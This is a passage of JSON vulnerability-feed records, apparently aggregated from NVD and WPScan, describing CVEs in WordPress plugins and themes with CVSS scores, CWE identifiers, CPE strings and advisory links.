"2023-05-11T19:06:00", "cpe": ["cpe:/a:return_and_warranty_management_system_for_woocommerce_project:return_and_warranty_management_system_for_woocommerce:1.2.3"], "id": "CVE-2023-22710", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-22710", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:return_and_warranty_management_system_for_woocommerce_project:return_and_warranty_management_system_for_woocommerce:1.2.3:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-24T02:55:23", "description": "Auth (subscriber+) Reflected Cross-Site Scripting (XSS) vulnerability in Macho Themes NewsMag theme <=\u00a02.4.4 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T15:15:00", "type": "cve", "title": "CVE-2023-28493", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28493"], "modified": "2023-05-11T18:59:00", "cpe": ["cpe:/a:machothemes:newsmag:2.4.4"], "id": "CVE-2023-28493", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-28493", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:machothemes:newsmag:2.4.4:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-24T02:37:38", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in CoreFortress Easy Event calendar plugin <=\u00a01.0 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T13:15:00", "type": "cve", "title": "CVE-2023-28169", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28169"], "modified": "2023-05-10T02:26:00", "cpe": ["cpe:/a:easy_event_calendar_project:easy_event_calendar:1.0"], "id": "CVE-2023-28169", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-28169", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:easy_event_calendar_project:easy_event_calendar:1.0:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-08-01T19:17:44", "description": "The WP Simple Shopping Cart plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.6.3 due to the plugin saving shopping cart data exports in a publicly accessible location (/wp-content/plugins/wordpress-simple-paypal-shopping-cart/includes/admin/). This makes it possible for unauthenticated attackers to view information that should be limited to administrators only and can include data like first name, last name, email, address, IP Address, and more.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2023-03-16T13:15:00", "type": "cve", "title": "CVE-2023-1431", "cwe": ["CWE-200"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1431"], "modified": "2023-03-22T20:43:00", "cpe": ["cpe:/a:tipsandtricks-hq:wordpress_simple_paypal_shopping_cart:4.6.3"], "id": "CVE-2023-1431", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1431", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:tipsandtricks-hq:wordpress_simple_paypal_shopping_cart:4.6.3:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-24T02:21:53", "description": "Auth (subscriber+) Reflected Cross-Site Scripting (XSS) vulnerability in Macho Themes Regina Lite theme <=\u00a02.0.7 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-04-25T12:15:00", "type": "cve", "title": "CVE-2023-27619", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-27619"], "modified": "2023-04-28T02:59:00", "cpe": ["cpe:/a:machothemes:regina_lite:2.0.7"], "id": "CVE-2023-27619", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-27619", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:machothemes:regina_lite:2.0.7:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-08-01T19:15:30", "description": "The Modern Events Calendar Lite WordPress plugin through 5.16.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-27T16:15:00", "type": "cve", "title": "CVE-2023-1400", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1400"], "modified": "2023-03-31T13:49:00", "cpe": ["cpe:/a:webnus:modern_events_calendar_lite:5.16.2"], "id": "CVE-2023-1400", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1400", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:webnus:modern_events_calendar_lite:5.16.2:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-08-01T19:24:11", "description": "The WP Express Checkout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018pec_coupon[code]\u2019 parameter in versions up to, and including, 2.2.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with administrator-level access to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Note: This can potentially be exploited by lower-privileged users if the `Admin Dashboard Access Permission` setting it set for those users to access the dashboard.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T13:15:00", "type": "cve", "title": "CVE-2023-1469", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1469"], "modified": "2023-03-23T14:56:00", "cpe": [], "id": "CVE-2023-1469", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1469", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": []}, {"lastseen": "2023-10-03T00:09:16", "description": "The User Role by BestWebSoft WordPress plugin before 1.6.7 does not protect against CSRF in requests to update role capabilities, leading to arbitrary privilege escalation of any role.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-04-03T15:15:00", "type": "cve", "title": "CVE-2023-0820", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-0820"], "modified": "2023-04-08T22:22:00", "cpe": [], "id": "CVE-2023-0820", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-0820", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-10-01T03:24:15", "description": "The Solidres plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'currency_name' parameter in versions up to, and including, 0.9.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with administrator privileges to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T13:15:00", "type": "cve", "title": "CVE-2023-1374", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1374"], "modified": "2023-03-17T03:52:00", "cpe": ["cpe:/a:solidres:solidres:0.9.4"], "id": "CVE-2023-1374", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1374", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:solidres:solidres:0.9.4:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-08-01T19:20:20", "description": "The eCommerce Product Catalog plugin for WordPress is vulnerable to Stored Cross-Site Scripting via some of its settings parameters in versions up to, and including, 3.3.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T14:15:00", "type": "cve", "title": "CVE-2023-1470", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1470"], "modified": "2023-03-23T14:58:00", "cpe": [], "id": "CVE-2023-1470", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1470", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": []}, {"lastseen": "2023-10-03T02:05:28", "description": "The Shopping Cart & eCommerce Store WordPress plugin before 5.4.3 does not validate HTTP requests, allowing authenticated users with admin privileges to perform LFI attacks.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-04-03T15:15:00", "type": "cve", "title": "CVE-2023-1124", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1124"], "modified": "2023-04-08T22:26:00", "cpe": [], "id": "CVE-2023-1124", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1124", "cvss": {"score": 5.8, "vector": "AV:N/AC:L/Au:M/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-08-01T19:20:32", "description": "The WP Popup Banners plugin for WordPress is vulnerable to SQL Injection via the 'banner_id' parameter in versions up to, and including, 1.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with minimal permissions, such as a subscrber, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2023-03-17T14:15:00", "type": "cve", "title": "CVE-2023-1471", "cwe": ["CWE-89"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1471"], "modified": "2023-03-23T14:59:00", "cpe": ["cpe:/a:wp_popup_banners_project:wp_popup_banners:1.2.5"], "id": "CVE-2023-1471", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1471", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:wp_popup_banners_project:wp_popup_banners:1.2.5:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-09-09T00:13:16", "description": "The WH Testimonials plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several parameters such as wh_homepage, wh_text_short, wh_text_full and in versions up to, and including, 3.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T13:15:00", "type": "cve", "title": "CVE-2023-1372", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1372"], "modified": "2023-03-17T03:52:00", "cpe": ["cpe:/a:webhostings:wh_testimonials:3.0.0"], "id": "CVE-2023-1372", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1372", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:webhostings:wh_testimonials:3.0.0:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-08-19T23:19:44", "description": "The Solidres WordPress plugin through 0.9.4 does not sanitise and escape numerous parameter before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-04-03T15:15:00", "type": "cve", "title": "CVE-2023-1377", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1377"], "modified": "2023-04-08T22:36:00", "cpe": ["cpe:/a:solidres:solidres:0.9.4"], "id": "CVE-2023-1377", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1377", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:solidres:solidres:0.9.4:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-10-03T02:27:38", "description": "The Bookly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the full name value in versions up to, and including, 21.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T13:15:00", "type": "cve", "title": "CVE-2023-1172", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1172"], "modified": "2023-03-23T14:55:00", "cpe": [], "id": "CVE-2023-1172", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1172", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": []}, {"lastseen": "2023-08-01T19:20:37", "description": "The RapidLoad Power-Up for Autoptimize plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.7.1. This is due to missing or incorrect nonce validation on its AJAX actions. This makes it possible for unauthenticated attackers to invoke those functions, via forged request granted they can trick a site administrator into performing an action such as clicking on a link. Actions include resetting the API key, accessing or deleting log files, and deleting cache among others.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2023-03-17T15:15:00", "type": "cve", "title": "CVE-2023-1472", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1472"], "modified": "2023-03-23T15:00:00", "cpe": [], "id": "CVE-2023-1472", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-1472", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}], "wpvulndb": [{"lastseen": "2023-06-29T15:13:14", "description": "The plugin does not sanitise and escape some parameters, which could allow users with a role as low as subscriber to perform Stored Cross-Site Scripting attacks\n", "cvss3": {}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "WP Job Portal <= 2.0.1 - Subscriber+ Stored XSS", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2023-28534"], "modified": "2023-06-27T02:53:31", "id": "WPVDB-ID:3B68E4D6-396B-4020-A1B1-204EB84CBD61", "href": "https://wpscan.com/vulnerability/3b68e4d6-396b-4020-a1b1-204eb84cbd61", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-03T15:20:36", "description": "The plugin does not sanitise and escape the open_data_rdw_kenteken parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "Open RDW kenteken voertuiginformatie < 2.1.0 - Reflected XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": 